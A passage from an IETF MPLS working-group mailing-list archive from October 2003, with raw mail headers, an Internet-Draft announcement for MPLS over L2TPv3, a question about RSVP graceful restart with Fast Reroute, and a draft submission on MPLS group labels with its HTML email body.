                   to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)
Mar 04 Submit document(s) specifying protocol extensions, enhancements 
                   and mechanisms for setup of P2MP TE LSPs



From owner-mpls@UU.NET  Tue Oct 21 17:02:28 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09338
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 17:02:26 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplkm08953
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 21:02:35 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplkm08685;
	Tue, 21 Oct 2003 21:02:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplkk25286
	for mpls-outgoing; Tue, 21 Oct 2003 20:39:45 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplkk25281
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 20:39:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplkk05155
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:38:37 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplkk17449
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:38:36 GMT
Received: from sj-iport-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQplkk17434
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:38:36 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 21 Oct 2003 13:35:37 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9LKcPjR016115
	for <mpls@uu.net>; Tue, 21 Oct 2003 13:38:28 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADI70089;
	Tue, 21 Oct 2003 16:38:24 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9LKcOf08975 for mpls@uu.net; Tue, 21 Oct 2003 16:38:24 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplkk25186
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 20:36:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplkk01466
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:35:52 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplkk10425
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:35:52 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplkk10400
	for <mpls@uu.net>; Tue, 21 Oct 2003 20:35:51 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06402;
	Tue, 21 Oct 2003 16:35:36 -0400 (EDT)
Message-Id: <200310212035.QAA06402@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: l2tpext@ietf.org, mpls@UU.NET, l3vpn@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-townsley-l2tpv3-mpls-00.txt
Date: Tue, 21 Oct 2003 16:35:36 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: MPLS over Layer 2 Tunneling Protocol (Version 3)
	Author(s)	: M. Townsley
	Filename	: draft-townsley-l2tpv3-mpls-00.txt
	Pages		: 9
	Date		: 2003-10-20
	
The Layer 2 Tunneling Protocol, Version 3, (L2TPv3) defines a
protocol for tunneling a variety of payload types over IP networks.
This document defines how to carry an MPLS label or label stack and
its payload over L2TPv3. This enables an application which
traditionally requires an MPLS-enabled core network to utilize an
L2TPv3 encapsulation over an IP network instead.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-townsley-l2tpv3-mpls-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-townsley-l2tpv3-mpls-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-townsley-l2tpv3-mpls-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-21163835.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-townsley-l2tpv3-mpls-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-townsley-l2tpv3-mpls-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-21163835.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Wed Oct 22 06:09:23 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA01851
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 06:09:22 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmm12690
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 10:09:31 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplmm12574;
	Wed, 22 Oct 2003 10:09:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplml16586
	for mpls-outgoing; Wed, 22 Oct 2003 09:46:48 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplml16581
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 09:46:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplmk28316
	for <mpls@uu.net>; Wed, 22 Oct 2003 09:42:43 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmk13281
	for <mpls@uu.net>; Wed, 22 Oct 2003 09:42:42 GMT
Received: from tiger.seabridge.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQplmk13173
	for <mpls@uu.net>; Wed, 22 Oct 2003 09:42:37 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDDFZR>; Wed, 22 Oct 2003 11:42:45 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D05D@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'ancaz@cisco.com'" <ancaz@cisco.com>,
        "'rrahman@cisco.com'"
	 <rrahman@cisco.com>,
        "'jisrar@cisco.com'" <jisrar@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RSVP Graceful Restart
Date: Wed, 22 Oct 2003 11:42:40 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="windows-1255"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
I did not have the chance yet to read the draft, but I really believe there
is a need to extend the general description in the GMPL document. 
I hope that you new definition for the ERO recovery would help also to let
the Ingress LER to recover.

One more thing that I would like to see in the extension, is how graceful
restart works together with Fast Reroute Protection. Specifically the
problematic points are the MP and the PLR. Do you have any intention to
cover it as well?

Thanks in advance, Nurit.


From owner-mpls@UU.NET  Wed Oct 22 08:38:41 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05916
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 08:38:39 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmw28978
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 12:38:47 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplmw28594;
	Wed, 22 Oct 2003 12:38:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplmv28085
	for mpls-outgoing; Wed, 22 Oct 2003 12:21:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplmv28080
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 12:21:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplmv21809
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:20 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmv13794
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:19 GMT
Received: from sj-iport-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQplmv13772
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:18 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 22 Oct 2003 05:17:24 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9MCK8Qa004408
	for <mpls@uu.net>; Wed, 22 Oct 2003 05:20:10 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ07826;
	Wed, 22 Oct 2003 08:20:07 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MCK7915860 for mpls@uu.net; Wed, 22 Oct 2003 08:20:07 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplmh21648
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 08:45:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplmg18125
	for <mpls@uu.net>; Wed, 22 Oct 2003 08:42:34 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmg14672
	for <mpls@uu.net>; Wed, 22 Oct 2003 08:42:33 GMT
Received: from icu.ac.kr by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.icu.ac.kr [210.107.128.19])
	id QQplmg14620
	for <mpls@uu.net>; Wed, 22 Oct 2003 08:42:30 GMT
Received: from mssungbnlab (v33-237.icu.ac.kr [210.107.133.237])
	by icu.ac.kr (8.12.10/8.12.8) with ESMTP id h9M8TP4r006419;
	Wed, 22 Oct 2003 17:29:26 +0900 (KST)
From: "Min Suk Sung" <mssung@icu.ac.kr>
To: <internet-drafts@ietf.org>, <swallow@cisco.com>, <loa@pi.se>,
        <fenner@research.att.com>, <zinin@psg.com>, <mpls@UU.NET>
Cc: <jkchoi@icu.ac.kr>, <khj@etri.re.kr>, <jh-yoo@etri.re.kr>,
        <holee@etri.re.kr>, <shyang@etri.re.kr>
Subject: MPLS individual draft submission - MPLS WG
Date: Wed, 22 Oct 2003 05:34:37 +0900
Message-ID: <000001c39812$bf996400$ed856bd2@mssungbnlab>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_01C3985E.2F810C00"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C3985E.2F810C00
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0002_01C3985E.2F841940"


------=_NextPart_001_0002_01C3985E.2F841940
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Dear IETF Secretariat, MPLS chairs
 
We submit an Internet-Draft: 
 
Title : Requirements for multicast service using a group label over MPLS
Author(s) : Jun Kyun Choi, et al
Filename : draft-choi-mpls-grouplable-requirement-01.txt
Pages : 18
 
Abstract
As the group communication becomes more important, the special label 
  should be allocated in support of group management and maintenance. 
  The allocation mechanism of a group label can be applied to a point-
  to-multipoint(P2MP) communication in MPLS networks. Currently used 
  label is locally significant, while this group label should be common 
  object within a single MPLS domain. 
  This document presents a set of requirements for multicast service 
  using a group label over Multiprotocol Label Switching(MPLS). It 
  identifies functional and performance capabilities required to 
  allocate a group label in master-slave network and peer to peer 
  network, which facilitates efficient and reliable group communication 
  and Quality of Service(QoS) in MPLS domain. It also identifies 
  functional capabilities required to implement convergence services 
  related to Content Distribution Network(CDN) and Virtual Private 
  Network(VPN). These capabilities can be used to provide high quality 
  and scalable service. 
  This document includes the allocation mechanism of a group label in 
  order to perform unidirectional P2MP communication.
 
Your feedback will be very much appreciated.
 
Could you give me 10 min to make a presentation?

Thanks.  
 
Min Suk Sung
 
 
Min Suk Sung (mssung@icu.ac.kr)
Broadband Network Laboratory (http://bnlab.icu.ac.kr/)
Information and Communications University(ICU)
58-4 Hwa-Ahm Dong, Yusong Gu, Taejon, Korea 305-732
(Tel) +82-42-866-6104, 016-532-2969
 

------=_NextPart_001_0002_01C3985E.2F841940
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C3985E.2E27BD90">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"City"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PlaceType"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PlaceName"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  =
<w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEve=
ry>
  =
<w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery>
  <w:Compatibility>
   <w:SpaceForUL/>
   <w:BalanceSingleByteDoubleByteWidth/>
   <w:DoNotLeaveBackslashAlone/>
   <w:ULTrailSpace/>
   <w:DoNotExpandShiftReturn/>
   <w:AdjustLineHeightInTable/>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:UseFELayout/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;
	mso-font-alt:Batang;
	mso-font-charset:129;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;
	mso-font-alt:Gulim;
	mso-font-charset:129;
	mso-generic-font-family:modern;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;
	mso-font-charset:129;
	mso-generic-font-family:modern;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;
	mso-font-charset:129;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	mso-pagination:none;
	text-autospace:none;
	word-break:break-hangul;
	font-size:10.0pt;
	mso-bidi-font-size:12.0pt;
	font-family:Batang;
	mso-hansi-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	mso-font-kerning:1.0pt;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Gulim;
	mso-ascii-font-family:Gulim;
	mso-fareast-font-family:Gulim;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
 /* Page Definitions */
 @page
	{mso-page-border-surround-header:no;
	mso-page-border-surround-footer:no;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:99.25pt 3.0cm 3.0cm 3.0cm;
	mso-header-margin:42.55pt;
	mso-footer-margin:49.6pt;
	mso-paper-source:0;
	layout-grid:18.0pt;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"\D45C\C900 \D45C";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:40.0pt'>

<div class=3DSection1 style=3D'layout-grid:18.0pt'>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Dear IETF Secretariat, =
MPLS
chairs<br>
&nbsp;<br>
We submit an Internet-Draft: </span></font><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'><o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><span class=3DGramE><font =
size=3D2
face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:
10.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;mso-font-kerning:0pt'=
>Title
:</span></font></span><font face=3D&#44404;&#47548;><span lang=3DEN-US
style=3D'mso-bidi-font-size:10.0pt;font-family:Gulim;mso-bidi-font-family=
:Gulim;
mso-font-kerning:0pt'> </span></font><span lang=3DEN-US =
style=3D'mso-bidi-font-size:
10.0pt'>Requirements for multicast service using a group label over =
MPLS</span><font
face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;
font-family:Gulim;mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><br>
Author(s<span class=3DGramE>) :</span> Jun <span =
class=3DSpellE>Kyun</span> <span
class=3DSpellE>Choi</span>, et al<br>
<span class=3DGramE>Filename :</span>
draft-choi-mpls-grouplable-requirement-01.txt<br>
<span class=3DGramE>Pages :</span> 18</span></font><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'><o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Abstract<o:p></o:p></spa=
n></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;text-indent:10.0pt;
mso-char-indent-count:1.0;mso-pagination:widow-orphan;layout-grid-mode:ch=
ar;
word-break:keep-all'><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-bidi-font-family:
Gulim;mso-font-kerning:0pt'>As the group communication becomes more =
important,
the special label <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>should</span> be
allocated in support of group management and maintenance. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>The allocation mechanism of a =
group
label can be applied to a point-<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>to-<span =
class=3DGramE>multipoint(</span>P2MP)
communication in MPLS networks. Currently used =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>label</span> is
locally significant, while this group label should be common =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>object</span> within a
single MPLS domain. <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>This document presents a set of
requirements for multicast service <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>using</span> a group
label over <span class=3DSpellE>Multiprotocol</span> Label =
Switching(MPLS). It <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
